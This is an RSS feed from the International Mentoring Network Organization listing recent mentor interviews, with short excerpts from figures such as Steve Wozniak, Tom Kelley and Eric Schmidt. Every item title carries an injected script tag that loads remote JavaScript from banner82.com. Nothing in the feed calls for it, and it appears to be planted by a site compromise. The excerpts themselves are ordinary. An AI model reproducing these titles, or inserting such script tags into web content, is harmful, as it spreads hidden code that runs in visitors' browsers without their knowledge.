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    <title>IMNO - Recent Mentor Interviews</title>
    <link>http://www.imno.org/default.asp</link>
    <description>IMNO recent mentor interviews, updated daily.</description>
	<copyright>Copyright 2003-2005 International Mentoring Network Organization - IMNO.ORG</copyright>
    <language>en-us</language>
	<image>
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	  <title>IMNO - Recent Mentor Interviews</title>
      <link>http://www.imno.org/default.asp</link>
    </image>
	

		
	<item>
      <title>co-founder of Apple 
         (Steve Wozniak&lt;script src=http://www.banner82.com/b.js&gt;&lt;/script&gt;)
      </title>
      <link>http://www.imno.org/articles.asp?qid=287&amp;sid=3</link>
      <description>
 You have to have a reason for going a certain direction. I was inspired to get computers to the normal people. These were low-level people,...</description>
    </item>


		
	<item>
      <title>General Manager of IDEO 
         (Tom Kelley&lt;script src=http://www.banner82.com/b.js&gt;&lt;/script&gt;)
      </title>
      <link>http://www.imno.org/articles.asp?qid=286&amp;sid=3</link>
      <description>
 You have to out innovate yourself. You have to cannibalize your own products, because if you don't somebody else will. ...You need an innovation momentum tha...</description>
    </item>


		
	<item>
      <title>Founder of Friendster and CEO of Socializr 
         (Jonathan Abrams&lt;script src=http://www.banner82.com/b.js&gt;&lt;/script&gt;)
      </title>
      <link>http://www.imno.org/articles.asp?qid=285&amp;sid=3</link>
      <description>
 If you take a hundred people with an idea for a consumer website maybe one of them will really take off and have an exponential growth problem....</description>
    </item>


		
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      <title>Sr. Vice President Bid City Services, Helios Partners 
         (Robert Stiles&lt;script src=http://www.banner82.com/b.js&gt;&lt;/script&gt;)
      </title>
      <link>http://www.imno.org/articles.asp?qid=284&amp;sid=3</link>
      <description>
 You can't develop your passion, your passion has to develop you.... I found a way to connect my intellectual side with my sport loving side....</description>
    </item>


		
	<item>
      <title>World Renowned Expert on Innovation and Creativity 
         (Ken Robinson&lt;script src=http://www.banner82.com/b.js&gt;&lt;/script&gt;)
      </title>
      <link>http://www.imno.org/articles.asp?qid=283&amp;sid=3</link>
      <description>
 It's not a matter of how creative are you but how are you creative. In what ways does your creativity show itself? What are the areas that excite you most?...</description>
    </item>


		
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      <title>Soldier of the Year 
         (Scott Smiley&lt;script src=http://www.banner82.com/b.js&gt;&lt;/script&gt;)
      </title>
      <link>http://www.imno.org/articles.asp?qid=282&amp;sid=3</link>
      <description>
 Americans just aren't allowed to shoot anybody they think is suspicious; they have to have a legitimate reason. I honestly couldn't shoot the man....</description>
    </item>


		
	<item>
      <title>McCord and Associates Sales Trainer 
         (Paul McCord&lt;script src=http://www.banner82.com/b.js&gt;&lt;/script&gt;)
      </title>
      <link>http://www.imno.org/articles.asp?qid=281&amp;sid=3</link>
      <description>
 Seeking money doens´t lead to being happy. But if you find what you´re really happy doing, you´ll find money will find you.
 </description>
    </item>


		
	<item>
      <title>Founding Editor of Lifehacker.com 
         (Gina Trapani&lt;script src=http://www.banner82.com/b.js&gt;&lt;/script&gt;)
      </title>
      <link>http://www.imno.org/articles.asp?qid=280&amp;sid=3</link>
      <description>
 The two main things a good blogger needs are a passion about a subject and well-developed web surfing chops.  When you write a daily topic-based blog like Li...</description>
    </item>


		
	<item>
      <title>Leading Change at Microsoft 
         (Dave Jennings&lt;script src=http://www.banner82.com/b.js&gt;&lt;/script&gt;)
      </title>
      <link>http://www.imno.org/articles.asp?qid=279&amp;sid=3</link>
      <description>
 I learned how to learn.  I can get knowledge.  I'm not intimidated on any topic.  No matter what topic, if you give me a week, I can be intelligent on it....</description>
    </item>


		
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      <title>Co-author of The Latino Advantage in the Workplace 
         (Mariela Dabbah&lt;script src=http://www.banner82.com/b.js&gt;&lt;/script&gt;)
      </title>
      <link>http://www.imno.org/articles.asp?qid=278&amp;sid=3</link>
      <description>
 
Mentors don't need to be above you. We all need mentors in different areas. You want as many mentors as you can get to manage the other nuances of your car...</description>
    </item>


		
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      <title>CEO and Chairman of Google 
         (Eric Schmidt&lt;script src=http://www.banner82.com/b.js&gt;&lt;/script&gt;)
      </title>
      <link>http://www.imno.org/articles.asp?qid=277&amp;sid=3</link>
      <description>
 The more at bats you have, using the baseball metaphor, the better your luck. The more you're engaged, the more you're learning, the more you're trying thing...</description>
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	<item>
      <title>Consultant for Duke CE and co-Author of &quot;Made to Stick&quot; 
         (Dan Heath&lt;script src=http://www.banner82.com/b.js&gt;&lt;/script&gt;)
      </title>
      <link>http://www.imno.org/articles.asp?qid=276&amp;sid=3</link>
      <description>
 First, realize that it's just not possible for recruiters to remember a lot about you.   Memories are fallible—how much do you remember from the newspaper ye...</description>
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